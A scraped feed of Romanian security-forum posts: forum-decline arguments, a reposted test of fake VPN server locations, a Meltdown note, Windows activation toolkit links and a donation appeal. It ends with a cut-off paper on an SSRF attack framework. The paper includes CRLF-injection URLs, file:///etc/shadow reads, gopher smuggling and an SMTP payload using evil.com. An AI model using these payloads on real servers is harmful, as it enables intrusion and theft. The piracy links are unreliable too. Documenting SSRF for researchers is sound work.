Leaderboard

Dar de ce sa lase asa ceva? Du-te frate pe TPU, pe Softpedia sau ce alte forumuri mai sunt. Eu cand intru aici intru sa citesc ceva interesant, sa imi clatesc ochii si de multe ori sa imi dau seama cat de putine stiu. De ce sa vad aici coduri de cs 1.6 si deface-uri care erau facute acum 15 ani pe forumul asta? Intru aici sa citesc ce scriu oamenii de calitate. Eu chiar v-as da un test la inregistrare. Ce stiti sa faceti? Stiti programare? Stiti networking? Critografie? Un test separat pentru fiecare categorie, sa aduca ceva bun aici. Sa stim ca se afla specialisti printre noi. Nu agarici. Inainte intram aici cand posta Nytro stiri de securitate. Intru aici cand stiu ca nu mai am nici o rezolvare la problema mea de linux si tex ma poate ajuta. Cand vreau cate o carte si nu am de unde sa o iau. Despre asta este un forum. Nu despre gainarii si aberatii.

Quality, not quantity... La rahat trag toate mustele. E vorba de timp in si de reward (satisfactie personala cand vezi ca altii invata, legaturi, colaborare si invatare impreuna, etc.). Spre exemplu daca ar fi apetit serios (din mai multe puncte de vedere) as putea aduce speakeri straini sa prezinte pe diferite teme in webinare dar s-a mai incercat si din cate am inteles nu s-a prea meritat. Cu alte cuvinte balansul dintre viata personala (munca, hobby, fun, social, etc) si giving back / the spirit of sharing.

Do VPNs really have all the servers they claim in exotic locations all over the world? In many cases, the answer is no. The true location of some VPN servers may be entirely different. In other words, a server that is allegedly in Pakistan is actually in Singapore. Or a server that should be in Saudi Arabia is actually in Los Angeles, California. (Both are real examples from below.) This is known as spoofing the true location. Why is this important? First, the performance may suffer if the actual server is significantly further away. Second, it’s bad if you are trying to avoid certain countries (such as the UK or US) where the server may be located. Third, customers aren’t getting the true server locations they paid for. And finally, using fake server locations raises questions about the VPN’s honesty. In this article we’ll take a deep dive into the topic of fake VPN server locations. The point here is not to attack any one VPN provider, but instead to provide honest information and real examples in order to clarify a confusing topic. We will cover four main points: VPN server marketing claims Fake server locations with ExpressVPN (11 are identified) Fake server locations with PureVPN (5 are identified, but there are many more) How to test and find the true location of VPN servers But before we begin, you might be asking yourself, why do VPNs even use fake server locations? The incentives are mainly financial. First, it saves lots of money. Using one server to fake numerous server locations will significantly reduce costs. (Dedicated premium servers are quite expensive.) Second, advertising numerous server locations in a variety of countries may appeal to more people, which will sell more VPN subscriptions. Here’s how that works… My, what a larger server network you have! Most of the larger VPN providers boast of server networks spanning the entire world. This seems to be the trend – they are emphasizing quantity over quality. Take Hidemyass for example and their server network claims: If you think there are physical servers in 190+ countries, I have a bridge to sell you! Upon closer examination of Hidemyass’s network, you find some very strange locations, such as North Korea, Zimbabwe, and even Somalia. But reading further, it becomes clear that many of these locations are indeed fictitious. Hidemyass refers to these fictitious server locations as “virtual locations” on their website. Unfortunately, I could not find a public server page listing all server URLs, so I could not test any of the locations. However, the Hidemyass chat representative I spoke with confirmed they use “virtual” locations, but could not tell me which locations were fake and which were real. PureVPN is another provider that admits to using fake locations, which they refer to as “virtual servers” – similar to Hidemyass. (We will take a closer look at PureVPN below, with testing results for the servers that are not classified as virtual.) ExpressVPN also boasts of a large server network. Unlike with PureVPN and Hidemyass, ExpressVPN does not admit to using fake locations anywhere on its website. The ExpressVPN chat representative I spoke with claimed that all server locations were real. (This was proven through testing to be false.) Testing shows that many of ExpressVPN’s server locations are fake. Just like with Hidemyass and PureVPN, testing results show that ExpressVPN is using fictitious server locations, which we will cover in detail below. Testing VPN server locations With free network-testing tools, you can quickly find the true location of a VPN server. This allows you to cross-check dubious server locations with a high degree of accuracy. For every VPN server examined in this article, I used three different network-testing tools to verify the true location beyond any reasonable doubt: CA App Synthetic Monitor ping test (ping test from 90 different worldwide locations) CA App Synthetic Monitor traceroute (tests from various worldwide locations) Ping.pe (ping test from 24 different worldwide locations) First, I used this ping test, which pings the VPN server from 90 different worldwide locations. This allows you to narrow down the location with basic triangulation. In general, the lower the time (ms), the closer the server is to a given location. Pretty simple and accurate. Second, I ran traceroutes from various locations based on the results in the first test. This allows you to measure the distance along the network to the final VPN server. With ExpressVPN, for example, I could run a traceroute from Singapore and find that the VPN server is about 2 ms away, which means it is also located in Singapore. Third, I used another ping test to again ping the VPN server from different worldwide locations. This tool also includes traceroutes for each location (MTR). Note: When running traceroutes or ping tests, you may have some outlier test results due to different variables with the network and hops. That’s why I recommend running multiple tests with all three of the tools above. This way, you will be able to eliminate outlier results and further confirm the true server location. With every fictitious server location found in this article, all three tools strongly suggested the exact same location. If there was any doubt, I did not label the server as “fake” below. ExpressVPN server locations As we saw above, ExpressVPN boasts a large number of servers on their website in some very interesting locations. In the map below you can see many of their southeast Asia server locations in red boxes. These are all the locations that were determined to be fictitious after extensive testing, with the actual server being located in Singapore. Every ExpressVPN server location in a red box was found to be fake after extensive testing. ExpressVPN does not make any of their server URLs publicly available. So to obtain the server URL, you need to have an ExpressVPN account, then go into the member area and download the manual configuration files. In total, I found 11 fake VPN server locations with ExpressVPN. Below I will show you the test results for one location (Pakistan). You can find the the other test results in the Appendix to this article. ExpressVPN’s Pakistan server (Singapore) URL: pakistan-ca-version-2.expressnetw.com Test 1: Ping times from different worldwide locations reveals the server is much closer to Singapore than to Bangalore, India. If the server was truly in Pakistan, this would not make much sense. … At only 2 milliseconds ping (distance), this “Pakistan” server is without a doubt in Singapore. But to further prove the location, we can run a few more tests. Test 2: Running a traceroute from Singapore to the “Pakistan” VPN server, we can once again verify that this server is in Singapore, at about 2 ms ping. Looking at every hop in the traceroute gives you the full picture of the network path. This shows how much distance (time) is between the final VPN server and the traceroute location. At around 2 ms, this server is clearly in Singapore. Just for fun, we will run one more test, even though it is already clear where the server is located. Test 3: Here is another ping test using the website ping.pe. The Pakistan server location is undoubtedly fictitious (spoofed). The real location is in Singapore. One other sign you see with ExpressVPN’s fake server locations is the second-to-last server IP address (before the final hop) when you run the traceroute is the same. With all the fake server locations in Asia you find this IP address before the final hop: 174.133.118.131 With a traceroute you can see that the final (spoofed) server is always very close to the IP address above. This is simply more evidence pointing to the obvious conclusion that Singapore is the true location of all these servers. In addition to Pakistan, here are the other fictitious server locations found with ExpressVPN: Nepal Bangladesh Bhutan Myanmar Macau Laos Sri Lanka Indonesia Brunei Philippines Note: there may be more fake locations, but I did not have time to test every server. Update: Six days after publishing this article ExpressVPN has admitted to numerous fake locations on its website (mirror) – 29 fictitious locations in total. Just like PureVPN and Hidemyass, ExpressVPN refers to these as “virtual” server locations. PureVPN server locations PureVPN has quite a few fake server locations. On the PureVPN server page you find that many of the servers begin with “vl” which seems to stand for “virtual location”. You find two different types of these prefixes: vleu (which probably stands for virtual location Europe) and vlus (which likely means virtual location US). Every “vl” location I tested was indeed fake (or “virtual” as they like to call it). But I also found that many of their non-virtual locations are also fake, such as Aruba and Azerbaijan in the screenshot above. Here is one example: PureVPN’s Azerbaijan server (United Kingdom) URL: az1-ovpn-udp.pointtoserver.com The ping test clearly shows this server location to be in the United Kingdom – in close proximity to Edinburgh. Furthermore, the ping times for Turkey (which is close to Azerbaijan) are much higher than the UK. The server location is already clear; it is located in the UK. But to further verify the location beyond doubt, I ran a traceroute from Edinburgh, UK to the “Azerbaijan” server: At around 2 milliseconds, this server is without a doubt in the United Kingdom, not Azerbaijan. In addition to Azerbaijan, I also found four other fake “non-vl” server locations with PureVPN: Aruba Saudi Arabia Bahrain Yemen Note: I did not spend much time testing PureVPN server locations because it was clear that many locations were fake. Consequently, I only chose five examples for this article. How to find the real VPN server location Determining the real location of a VPN server is quick and easy with the five steps below. Step 1: Obtain the VPN server URL or IP address You should be able to find the URL or IP address of the VPN server in the members area. You may need to download the VPN configuration file for the specific location, and then just open the file and get the URL for the server. Some VPNs openly provide this information on their server page. Here I downloaded the OpenVPN configuration file for the ExpressVPN Nepal server. After opening the file, I find the server URL near the top. Now copy the URL of the VPN server for step 2. Step 2: Ping the VPN server from different worldwide locations Use this free tool from CA App Synthetic Monitor to ping the VPN server from about 90 different worldwide locations. Enter the VPN server URL (or IP address) from step 1 into the box and hit Start. It will take a few seconds for the ping results to show. Step 3: Examine results to determine actual location Now you can examine the results, looking for the lowest ping times to determine the closest server. You may want to have a map open to examine which server should have the lowest ping based on geographical distance. From all of the testing locations, Bangalore, India should have the lowest ping due to its close proximity to Nepal. But if you look at all the results, you may find that the exact location of the server is somewhere else. Looks like we have a winner. This VPN server is located in Singapore – NOT Nepal. At this point it is clear that the server location is in Singapore, and not Nepal (for this example). But just to verify these results, we will run some more tests. Step 4: Run a few traceroute tests You can further probe the exact location by running a traceroute test. This is simply a way to measure the time it takes for a packet of data to arrive at the server location, across the different hops in the network. There are different options for traceroute testing, such as the Looking Glass from Hurricane Electric. My preferred method is to use this traceroute tool from CA App Synthetic Monitor and then select the location to run the traceroute from. First, you can run the traceroute from a location that should be the closest to the server location. In this case, that would be New Delhi, which is the closest location I can find to Nepal. Just enter the VPN server URL and select your test location for the traceroute. Now we will run another traceroute, but this time from Singapore. We have a winner: Singapore. It is now clear that this ExpressVPN Nepal server is located in Singapore. But you can also cross check with one more test. Step 5: Run another ping test Just like in step 2, Ping.pe will ping the VPN server from different worldwide locations, allowing you to narrow down the likely location. This tool will continuously ping the server and calculate the average time for every location. Furthermore, it will run traceroutes for every location, allowing you to further verify the location. As before, simply enter the VPN server URL and hit Go. The ping results will continuously populate in the chart. Once again, the results clearly show this server is in Singapore. No doubt about it. Now we can see beyond all doubt, this VPN server is located in Singapore, not Nepal. Controlling for variables With every fake server location I found, all three tools strongly suggested the same location. Nonetheless, you may still get some outlier results due to different variables and hops in the network. To control for variables and easily eliminate these outliers, simply run multiple tests with all three tools. You should find the results to be very consistent, all pointing to the same location. Conclusion on fake VPN server locations Dishonesty is a growing problem with VPNs that more people are starting to recognize. From fake reviews to shady marketing tactics, false advertising, and various VPN scams, there’s a lot to watch out for. Fake VPN servers are yet another issue to avoid. Unfortunately with all the deceptive marketing, it can be difficult to find the true facts. Most VPNs emphasize the size of their server network rather than server quality. This quantity over quality trend is obvious with most of the larger VPN providers. On the opposite end of the spectrum are smaller VPN services that have fewer locations, but prioritize the quality of their server network, such as Perfect Privacy and VPN.ac. Some VPN users may not care about fake servers. Nonetheless, fake VPN servers can be problematic if you: are trying to avoid specific countries are trying to optimize VPN performance (which may be affected by longer distances) are trying to access restricted content (fake locations may still be blocked) expect the server to be where the VPN says it is (honesty) With the tools and information in this article, you can easily verify the location of any VPN server, which removes the guesswork completely. Appendix (testing results) ExpressVPN Nepal (Singapore) URL: nepal-ca-version-2.expressnetw.com And now running a traceroute to the “Nepal” server from Singapore: This “Nepal” server is located in Singapore. ExpressVPN Bhutan (Singapore) URL: bhutan-ca-version-2.expressnetw.com And now running a traceroute to the “Bhutan” server from Singapore: Once again, ExpressVPN’s “Bhutan” server is located in Singapore. ExpressVPN Sri Lanka (Singapore) URL: srilanka-ca-version-2.expressnetw.com Here’s the traceroute to the “Sri Lanka” server from Singapore: The “Sri Lanka” server is actually in Singapore. ExpressVPN Bangladesh (Singapore) URL: bangladesh-ca-version-2.expressnetw.com Here’s the traceroute to the “Bangladesh” server from Singapore: It is easy to see that the “Bangladesh” server is located in Singapore, especially when you compare the locations using the ping test. ExpressVPN Myanmar (Singapore) URL: myanmar-ca-version-2.expressnetw.com Here’s the traceroute to the “Myanmar” server from Singapore: This VPN server is located in Singapore (also verified by the other tests). ExpressVPN Laos (Singapore) URL: laos-ca-version-2.expressnetw.com Here’s the traceroute to the “Laos” server from Singapore: This server is also clearly in Singapore. ExpressVPN Brunei (Singapore) URL: brunei-ca-version-2.expressnetw.com Here’s the traceroute to the “Brunei” server from Singapore: Once again, this is clearly in Singapore. But given the close geographic proximity of these locations, I also checked ping times from neighboring countries, such as Malaysia and Indonesia, which were all significantly higher than the ping time from Singapore. All tests pointed to the same conclusion: Singapore. ExpressVPN Philippines (Singapore) URL: ph-via-sing-ca-version-2.expressnetw.com Unlike all of the other fictitious server locations, ExpressVPN appears to be admitting the true location with the configuration file name. Below you see that the config file is named “Philippines (via Singapore)” – which suggests the true location. Here’s the traceroute to the “Philippines” server from Singapore: Just like with all the other traceroute tests, this location is also in Singapore. ExpressVPN Macau (Singapore) URL: macau-ca-version-2.expressnetw.com This was another server location that was very easy to identify as fake using the ping test. Because Hong Kong and Macau are right next to each other, the closest ping result should have been with the Hong Kong server. But instead, Hong Kong’s ping time was about 32 milliseconds and Singapore’s ping time was again around 2 milliseconds. Here is the traceroute to “Macau” from Singapore: Another fake server location, which is clearly in Singapore. ExpressVPN Indonesia (Singapore) URL: indonesia-ca-version-2.expressnetw.com The ping test with this location was another dead giveaway. The ping result from Jakarta, Indonesia was 198 milliseconds, and the ping result from Singapore was under 2 milliseconds. Again, case closed. Here is the traceroute from Singapore: Location: Singapore. PureVPN Aruba (Los Angeles, USA) URL: aw1-ovpn-udp.pointtoserver.com All tests show this server is located in Los Angeles, California (USA). Here is the traceroute from Los Angeles: Actual server location: Los Angeles, California PureVPN Bahrain (Amsterdam, Netherlands) URL: bh-ovpn-udp.pointtoserver.com Here is the traceroute from Amsterdam. This “Bahrain” server is undoubtedly in Amsterdam. PureVPN Saudi Arabia (Los Angeles, USA) URL: sa1-ovpn-udp.pointtoserver.com Now running the traceroute from Los Angeles, California: This “Saudi Arabia” server is in Los Angeles. PureVPN Yemen (Frankfurt, Germany) URL: ym1-ovpn-udp.pointtoserver.com Here’s the traceroute from Frankfurt: PureVPN’s “Yeman” server is clearly in Frankfurt, Germany. UPDATES HideMyAss (November 2017) – As a response, HideMyAss has told us, “We have always been open and transparent about virtual server locations and believe that the concept is explained comprehensively both on our website and in our latest software client.” However, when you examine their server locations page, it is still not clear exactly which locations are “virtual”. ExpressVPN – ExpressVPN has fully updated their server locations page to explain exactly which servers are real and which are “virtual”. They have also removed all contradictory claims about “no logs” and clarified their exact policies. You can check out the details on the ExpressVPN website here. PureVPN – We have not heard anything form PureVPN since this article was first published. However, we did recently learn that PureVPN has been providing connection logs to the FBI while still claiming to have a “zero log policy”. Sursa: https://restoreprivacy.com/vpn-server-locations/

https://www.amazon.co.uk/gp/aw/d/B001FCN7O8/ si https://www.amazon.co.uk/gp/aw/d/B01D8N84D0/

Vad ca inainte erai impotriva unui test de inregistrare: Intr-adevar,acum cauti rezolvari la probleme de linux,dar inainte vindeai log-uri si cautai coduri de cs Nu va cacati pe voi,toti ati inceput asa.Sa ridice mana ala care a intrat aici prima oara cand se postau stiri de securitate.Sa fim seriosi.

http://www.bbc.co.uk/news/technology-42630136

Salut, m-am logat acum si nu am mai intrat de ceva timp, mai e activ forumul asta sau sta sa moara?...

https://www.theregister.co.uk/2018/01/02/intel_cpu_design_flaw/ Kernel page-table isolation (KPTI, previously called KAISER) is a hardening technique in the Linux kernel to improve security by better isolating user space and kernel space memory. KPTI was merged into Linux kernel version 4.15, to be released in early 2018, and backported into Linux Kernel 4.14.10. Windows implemented an identical feature in version 17035 (RS4). Prior to KPTI, whenever executing user space code (applications), Linux would also keep its entire kernel memory mapped in page table. https://www.youtube.com/watch?time_continue=1792&v=ewe3-mUku94 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5925 https://www.reddit.com/r/Amd/comments/7nqwoe/apparently_amds_request_to_be_excluded_from_the/ The effects are still being benchmarked, however we're looking at a ballpark figure of five to 30 per cent slow down, depending on the task and the processor model. More recent Intel chips have features – such as PCID – to reduce the performance hit.

Ba da, exact asa am inceput, insa am stiut ce vrem. Daca voi cereti coduri de cs si deface-uri, ce asteptari aveti de la viata voastra? Legat de primul: 2013. Cam atat am de spus. Legat de la doilea: Ar trebui sa incepi sa faci anumite diferente. Exact asta este problema voastra. Ca nu acceptati ca ganditi gresit. Forumul asta a educat multa lume, pe voi nu o sa va educe niciodata. Eu probabil ca am gresit cu mult in trecut, am vazut ce nu e bine, si am indreptat. Voi daca o tineti pe a voastra, sa fiti sanatosi taica.

Ce faceti ?

Fara sa ne mai cacam pe noi, da, forumul e mort. De cand sunt toti specialisti in securitate cibernetica, pentesteri si developeri, mai ales "cei de sus", forumul se vrea a fi whitehat orientated. Desi toti au plecat de jos, au incercat, au testat, au invatat, mai toti "au crescut" aici pe forum. Majoritatea a facut scanageala si alte treburi mai putin ortodoxe, unii s-au maturizat si au trecut la alt nivel, altii au ramas blocati la mantinela. Acum e o corabie in deriva tinuta la linia de plutire pentru ca a insemnat ceva, pentru ca a devenit un brand, pentru ca a deschis multe usi (alte comunitati underground, etc), din orgoliu si mandrie, etc...

Link 1: Toolkit Windows 10 Stable! All version: Pro, Pro N, S, Home etc. Link 2: Toolkit Windows 10 Stable! 1. 2. 3. Succes!

Nu este un forum de gaming... Avem Offtopic unde e plin de porcarii.

E proasta politica de administrare.De sus pleaca tot. Majoritatea traficului de la forumurile mari e tinuta de copii sub 16 ani.Aici daca vii sa ceri un cod pt cs sau ce cacat mai joaca pustii,iti iei ban direct.Pui o intrebare de noob,ban si cosul de gunoi.1 administrator ciufut strica o comunitate de zeci de mii.Un pic de relaxare n-ar strica,nu zic sa se lase iar rooturi si deface-uri,dar poate sa se faca o sectiune pentru jocuri,off-topic,si un market de skinuri,steamuri,cacaturi din astea cu care-si pierd timpul copiii.

kutiman, Ai cumparat btc ca sa cumperi x crypto cand ti se spune. In alte cuvinte ai devenit o marioneta care la final de zi va fi in pierdere sau, in cel mai bun caz, daca prinzi momentul, vei avea ceva profit.

Era intrebare legitima pentru ca nu toata lumea stie de grupuri organizate specific pentru asa ceva, fie ca sunt pe WhatsApp/Telegram/Wickr, fie ca sunt pe onioane, pe ce platforme opereaza, cum sunt organizati, etc. Dupa cum ai spus tu poate fi interpretat ca faci p&d de unul singur ceea ce nu cred ca e cazul (i.e. nu esti ceva personalitate care poate asa ceva de unul singur).

Perioada mereu a cam fost aceasi, plus minus o saptamana. Despre voluntariat, poti aplica aici cred https://def.camp/become-a-volunteer/ si te contacteaza ei. Le poti scrie si pe FB si or sa iti raspunda

https://gogetfunding.com/alys-spine-surgery/ https://www.facebook.com/OneShootBest Pentru donatii: Badea Alexandru Constantin Banca ING Cont RON: RO23INGB0000999907050457 Cod SWIFT:INGBROBU Cont EURO: RO97INGB0000999907050483 Nr. Telefon: 0756456054

Abstract Server Side Request Forgery (SSRF) is known to every security researcher for a long time. However, because its exploitation always depends on the vulnerabilities in the intranet rather than the target itself, its damage is ignored by many researcher. The ignorance leads to the lack of SSRF attack tools. But we should not belittle this attack, there are many examples of gaining intranet control through SSRF (For example, Wooyun identifier: WooYun-2015–0163792, WooYun-2015–099070). To help security research utilizes the vulnerability, this research would propose details to implement a SSRF attack framework. Summary: This paper proposes detailed implement of every process: SSRF probe, Intranet host/port scanning, supported protocol probe, and automatic exploitation. I will use a server to record HTTP request, which helps me to ensure if a server visits the specified site. Additionally, we will present how to use SSRF as a proxy. In a proxy mode, attacker can compose other tools like W3af, sqlmap, and Burpsuite. With the above features, we can release the full power of SSRF. 1 Introduction 1.1 Brief introduction of Server Side Request Forgery Imagine you have a worker who helps you carry goods from the factory. If the worker does not check whether the good belong to you, you can ask him/her to bring out others’ goods. The servers with Server Side Request Forgery (also known as SSRF or XSRF) vulnerability just act like those careless workers. They typically help user to fetch files or images, but would not check the destination. So, attacker can ask the server to give back resource from the private network. Thus, the server might become the proxy of attacking intranet. Hacker can utilize it to bypass firewall or NAT to enter private network, as a result, the vulnerabilities (e.g. PHP Fast-CGI unauthorized request, which allows user to execute PHP code) in private network might be exploited. Otherwise, hackers might use protocol like file:// to achieve local system’s files(e.g. /etc/passwd, which stores password in Linux operation system) ,or DDoS (Den of Service) internal network. Here is a picture to illustrate how SSRF works [1]: To be more concrete, we can imagine there is a server will fetch an image for us. Consider the following code: <?php if (isset($_POST['url'])) { $content = file_get_contents($_POST['url']); $filename ='./images/'.rand().';img1.jpg'; file_put_contents($filename, $content); echo $_POST['url']; $img = "<img src=\"".$filename."\"/>"; } echo $img; ?> User will send a URL via POST method, and the server fetches the image and displays it. What if we send an intranet address to the server to it? We can get the content in private network from the returned image! In this way, we can bypass firewall. Despite some special cases (file protocol, PHP protocol), SSRF won’t influence the vulnerable itself. Alternatively, hacker uses it as a jump server to access private network. Thus, the vulnerabilities in intranet determine the damage of one SSRF attack. 1.2 Current Problems Consequently, to utilize SSRF, you need to detect the internal network. What’s worse, if the response merely contains HTTP status rather than detailed content, it’s difficult for us to exploit the attack without any tools. Unfortunately, there is no killer application in current SSRF exploitation software. Even Skanda [3], a SSRF exploitation tool provided by OWASP ( Open Web Application Security Project), merely supply limited functions including detecting SSRF vulnerability and scanning local ports. Yin Wang, also known as ringzero, has proposed SSRF automatic exploitation technique in Wooyun summit 2016. He only mentioned the possible scene that might occur SSRF and the current vulnerabilities available to be applied in SSRF attack. But his report neglected the importance of information gathering and protocol smuggling. This is far from enough. As an attacker, we need to know the information as much as possible, such as all the living IP addresses in the internal network. In some cases, the server with SSRF might only indicate whether the URL is reachable, therefore, we need to find some ways to gather their fingerprints (sensitive data that might leak the information (such as operation system, web framework) of a server, to use correct payloads (a special request that allow attacker to control the server or get protected data) . When the server is able to give us the response from private network’s host, we want to use better tools to scan intranet. Then, our SSRF can be set as a proxy to transfer data from scanner to target. What’s more, SSRF might be used as an anonymous agent to help us attack other server and hide own footprints. To implement such functions, we need to create a new SSRF framework. And there are many questions left to us: how can we get the intranet layout fastest, how do get the most precise fingerprints when server merely do not give us content from other hosts, and what protocol we can use to maximize our attack surface? In the remaining chapter, I would propose an overall introduction about my design and use some tricks to solve the mentioned problems. 2.Method 2.1 Classification of SSRF Before we enter the topic of exploitation, we need to classify SSRF and find out each type’s property. After observing many cases, we separate SSRF to five types: content based, bool based, error based, blind based, and special SSRF. Different type of SSRF has distinctive damage degree. And those types can be assorted to two cases — direct or indirect SSRF. 2.1.1 Direct SSRF Attackers can confirm whether server has visited an address by the first three types of SSRF. The first term, content based, means that the body of server’s response would contain the content of the URL you specified. Bool based SSRF [4] would not return content, it merely contain the HTTP status code. When the specified URL is unreachable, the server would send back a status code, such as 404 (Web page not found), 500 (Server has internal error), to tell clients that the URL is invalid to request. Because we can directly know which URL the server has visited and the unreachable URL, these three are easier for scripts to detect automatically. Content based and error based SSRF are exploitable in most cases. 2.1.2 Indirect SSRF Not all the servers will contain error code when the destined host is down , but one thing in common is that they will keep trying many time before connection is closed. Thus, we can use the difference in time to confirm whether a host is alive: when the server takes much longer time to response, we can infer that the specified host is not up. Blind based SSRF is the most difficult type to exploit, because attackers cannot know if he or she sends payloads successfully. Special type refers to those uncommon SSRF. For example, a server might return “true” in the body of response when sending request successfully, otherwise, it gives us a “false”. This seems like an error based SSRF, but they are totally different. However, this example only happens in ideal environment. In a real network, it’s highly possible that we need to filter out some noise made by the server in response’s body. For instance, it might send back JSON in following format: {"url":"example.com", "acces":"false"} So, we need to confirm the part reflecting server status and filter a whole lot data. Error based SSRF, however, would merely give us HTTP status code, which is in a fixed range. What’s worse, some might include variable data like current time in their HTTP body. As a result, filtering will be an extremely difficult task for out program. To solve the problem, I will mention a technique called “tamper”, which allows attackers to apply own method to filter data according to their requirements. Time based and blind SSRF are almost unexploitable, because we can not estimate if our requested URL is reachable. Content based SSRF, however, needs user to implement “tamper” (mentioned later) to help framework know if a URL is reachable. 2.2 Probe SSRF Before exploiting, we need to whether a server has SSRF. For most cases, attacker specifies URL as the payload, sending it to the target through HTTP GET parameter or HTTP POST data (we will use the term ‘SSRF vector’ to refer them in the remaining article). We will replace every parameters to the specified URL and test the response. Please notice that our payload should be URL encoded, on the other hand, its special characters (such as ‘?’ and ‘#’) might cause our request malfunction. For instance, if the target had SSRF in URL http://target.com/?u=xxURLxx, and the xxURLxx is the SSRF vector. When we want it to connect http://example.com/?id=1&allow=yes and replace it to xxURLxx, the request becomes: http://target.com/?u=http://example.com/?id=1&allow=yes. So, the server will receive two parameters: id and allow (RFC 3986). Of course, if security researcher has identified SSRF manually, they can state the place of SSRF vector by specifying xxURLxx in GET parameter or POST data. 2.2.1 Basic Probe We have introduced the assortment of SSRF, in this chapter, we will identify method of probing this vulnerability. Basic probe only indicate whether a server has SSRF, but won’t classify its type. We set up several servers and enable wildcard DNS and HTTP records. The attack framework would ask target to send several request to our server, and the domain follow such format: <a 10 digital random number>.ourdomain.net . The ten digital number is a unique id for our target, we will match it with our server’s record to identify a server. If the target does visit to our site, its DNS record and HTTP request will be stored. Then, the framework will connect to our server and use the random number to check whether our target has visited to it. 2.2.2 Advanced Probe After the finishing previous process, attacker can use advanced probe helps security researcher to identify the specific type of SSRF. At the beginning, our framework will send invalid URL ( malformed schema, invalid address, unreachable port, and etc.) to detect whether server will response error code. After the process, we will give invalid address as the target of server’s request. Readers should notice that detecting error-based needs to be prior to the time-based. We found that some error based SSRF would also spend a lot of time when connecting to unreachable port before responding an error code. Thus, it’s necessary to detect error based SSRF first. To confirm a content based SSRF, our framework would ask the server to retrieve a specific file in our server. Once the returned data includes the whole content in the file, we can confirm the SSRF is content based. 2.3 Scan the Intranet One of the most crucial function for SSRF is attacking the Intranet. Before we exploit it, we need to know the running hosts and their address. The private IP segments ranged from 10.0.0.0 –10.255.255.255, 172.16.0.0–172.31.255.255 , to 192.168.0.0–192.168.255.255 (RFC 1918), which have more than 17000000 IPs. However, user can utilize DNS zone transfer or find leaked information. But such tasks are not easy to be done automatically, we need user to exploit them himself/herself. Requesting the target to access IP one by one is an impossible task. Thus, our scanner merely detect single IP or a network segment specified by user. To increase the speed, we scan a list of common ports occupied by common application rather than all ports. Here is part of our ports (the upper one is port number, the lower one is correspondent service name): PortService22SSH80Http Server443HTTPS21FTP6379Redis Besides popularity, we will consider whether a service supports text-based protocols. If it does, it will be easier for us to customize server’s request (The reason will be mentioned in chapter 2.4). Protocols can extent the attack surface of SSRF. The most classical example is using file protocol to retrieve password directly (e.g. file:///etc/shadow). What’s more, attackers can utilize gopher protocol to compose arbitrary text based request [5]. Thus, finding out supporting protocols is important for exploiting targets. Here is a list of exploitable protocol concluded by Yin Wang [6]: file:// — Accessing local filesystem http:// — Accessing HTTP URLs ftp:// — Accessing FPP URLs php:// — Accessing values I/O stream data:// — Data Protocol(RFC 2397) phar:// — PHP Archive gopher:// — A protocol designed for dictionary based menu dict:// — Dictionary Protocol Figure 3: Example protocols However, not all the protocols can attacker apply. Some might be filtered by the firewall, other might not support by programming language. How do we match port with its protocol? Basically, we can change the schema of URLs and inspect the response (HTTP status code, time, and response body) from the server, and our SSRF vector becomes the following format: <current schema>://url:ports If the the response code is normal in error-based SSRF; or filled with context in context-based SSRF, we can confirm whether a protocol is supported by the host. Detecting all the supported schema for every port is inefficient. Thus, we would match a port with its default protocol first, (e.g. HTTP matches port 80, ftp matched port 24). After that, our framework tests the remaining protocols. 2.4 How to Send Custom-Build Request In the previous part of the paper, I have mentioned that SSRF enables us to let target send request to a specific URL and return response to us. We can simply use the server to send GET request. However, we can merely control the URL, the remain parameters (e.g. cookies, user-agent, and post data) are generated by server. Unfortunately, we need to add or modify these parameters in some cases. For instance, a CMS (Content Management System) in the intranet has SQL injection vulnerability when parsing the header of a HTTP request. What we control is merely the URL, how can we add header? CRLF injection [7] will be quite useful here. CRLF injection allows us to send Carriage-Return (ASCII 13, \r) Line-Feed (ASCII 10, \n), which is used to terminate a line of HTTP request. Moreover, each parameters is separated line by line in a HTTP response. 2.4.1 Using CRLF injection to add HTTP parameter By injecting encoded CRLF to URL, we can add new parameters to server side’s request. We will use the picture to illustrates the process : //Attacker's request GET ?url=http://example.com/%0d%0aRefeerer:localhost Host:www.target.com ... //Server's request GET http://example.com Referer:localhost ... Figure 4: Add parameters by CRLF injection Imagine that www.target.com has SSRF vulnerability, we ask it to visit URL http://example.com/%0d%0aRefeerer:localhost. In this URL, %0d%0a is the URL encoded charsets of CRLF. When the server is parsing the URL, %0d%0a will be automatically decoded to carriage-return and line-feed symbols. Thus, we get a new line with our custom-build parameter (the Referer). This phenomenon happens in all decoding process that lack of checking characters. CRLF is not all-purpose, some server might not parse URL encode, while the other will filter out CRLF characters. To detect CRLF, we place a CRLF followed by random number at the end of our server’s URL and ask our target to request the special URL. Once we found additional CRLF and previous random number, we can ensure if it has CRLF injection. Despite CRLF injection in HTTP, we can utilize other protocols to construct more powerful payload, which will be mentioned in 2.8.3 . 2.4.2 Use CRLF injection to smuggle other protocols Exactly, we can smuggle one protocols to transform them to different protocols. Orange Tsai has provided a list of protocols that are suitable to smuggle [9], which include: HTTP Based:Elastic, CouchDB, MongoDB, Docker Text-based protocol Text Based:FTP, SMTP, Redis, Memcached These protocols enable attackers to transform them to exploitable protocols by adding encodes. For example, if there is a SMTP server without authentication in the intranet, we can construct following SSRF vector: https://address%0D%0AHELO evil.com%0D%0AMAIL FROM...:25/ The SMTP would receive: GET / HOST:address:25 HELO evil.com MAIL FROM... Although the first two lines are invalid for SMTP protocols. But the next two line will make the server send forged mail (use forged identification evil.comin mail). When we received the mail with the forged identification, we can assume that the port is open and occupied by a SMTP server. 2.5 Content Based SSRF Exploitation Content based SSRF provides attackers the clearest view of what server retrieve. Thus, we can get the fullest fingerprints of the Intranet. From server’s response, security researcher may manually find out SQL injection, remote commands execution, and so on. But implement every vulnerabilities testing tools in our framework is a time consuming job, it also betrays the rule of K.I.S.S (Keep It Simple, Stupid). Thus, our framework forwards data to existing vulnerability exploitation tool, which acts like a proxy. 2.5.1 SSRF proxy HTTP has five method: GET, POST, HEAD, TRACE, PUT, DELETE, OPTIONS, and CONNECT. Normally, it’s only possible to let server use GET method by specifying a URL. When the request body in POST method merely contains parameters, GET and POST request are transferable, although it’s still possible to be rejected by certain servers. How could we support as many parameters as possible? One way is CSRF injection, but it might cause HPP (HTTP Parameter Pollution ). For instance, if the server has a specific user agent to request web sites, and we want to add own user agent, it will emerge following consequence (parameter u is a SSRF vector): //Attacker's request GET ?url=http://example.com/%0d%0aUser-Agent:Chrome Host:www.target.com //server's request GET 